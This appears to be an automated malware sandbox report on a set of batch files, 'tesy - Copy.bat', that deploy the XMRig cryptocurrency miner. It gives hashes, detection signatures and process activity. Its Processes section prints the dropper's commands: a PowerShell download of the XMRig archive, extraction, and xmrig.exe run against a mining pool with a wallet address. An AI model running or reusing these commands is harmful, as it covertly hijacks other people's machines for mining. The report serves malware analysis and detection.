Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1793s -
max time network
1797s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
01-01-2024 03:11
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231220-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy - Copy (7).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 42 IoCs
resource yara_rule behavioral11/files/0x000600000001ac36-119.dat family_xmrig behavioral11/files/0x000600000001ac36-119.dat xmrig behavioral11/memory/4244-122-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-125-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-126-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-128-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-130-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-131-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-132-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-133-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-134-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-135-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-136-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-137-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-138-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-139-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-140-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-141-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-142-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-143-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-144-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-145-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-146-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-147-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-148-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-149-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-150-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-151-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-152-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-153-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-154-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-155-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-156-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-157-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-158-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-159-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-160-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-161-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-167-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-171-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-172-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig behavioral11/memory/4244-174-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 4236 powershell.exe 5 4236 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4244 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4236 powershell.exe 4236 powershell.exe 4236 powershell.exe 3612 powershell.exe 3612 powershell.exe 3612 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 620 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4236 powershell.exe Token: SeDebugPrivilege 3612 powershell.exe Token: SeLockMemoryPrivilege 4244 xmrig.exe Token: SeLockMemoryPrivilege 4244 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4244 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 800 wrote to memory of 4236 800 cmd.exe 20 PID 800 wrote to memory of 4236 800 cmd.exe 20 PID 800 wrote to memory of 3612 800 cmd.exe 74 PID 800 wrote to memory of 3612 800 cmd.exe 74 PID 800 wrote to memory of 4244 800 cmd.exe 75 PID 800 wrote to memory of 4244 800 cmd.exe 75
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4236
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3612
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4244
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD568c6e5c46adf2f3401e2d79a029b8f27
SHA1be56068e58b47b11fa4353e1ad4c9dfd9f49e50d
SHA256f40b33e033bef5ac1ae3b605bef131fe6f69e2668c9bc6acf605a9bb341703bb
SHA51291f114ef6e92d3f2c98560edbfc2e9a6bf742e61cc7c660d24820e3ad06f71ba7021ac1f08efb932c00cc0d2d7c32954cb01a8aa39d8816397e20f53c1bc9589
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
8KB
MD5e91b281fd16c1d4197956969a21bdb55
SHA196d6cc040b7d7e019de53e2dc39a3a99710779f5
SHA25640a6438f6448cd762e045ff1d1c35ad62497bb4108ecf7316457bbc29c667676
SHA512293802fa9073b9b8dcc63345ed75fd41e56f88b747dd8e8fc85b2e57a6565f2d3c3bb9e1423664005d2400ba2285b415b7662e26e956ef76bcabc7b5b0ca00de
-
Filesize
18KB
MD58a2d32a88b1497be276bcf5db128eefa
SHA185814c924e84a48b579a82e2dc251ca07cf49f96
SHA256977841ddbccba55175ceace1b85cc432cd950594ad53a2204313d1f85a380e46
SHA512cb30872a2e55755760007645c31772c709ed533e9d954779a3bb92a3528bd7e0466240fb389725935c0c6a232a265124ba69bdc34de3d2143f19fc3e116dae42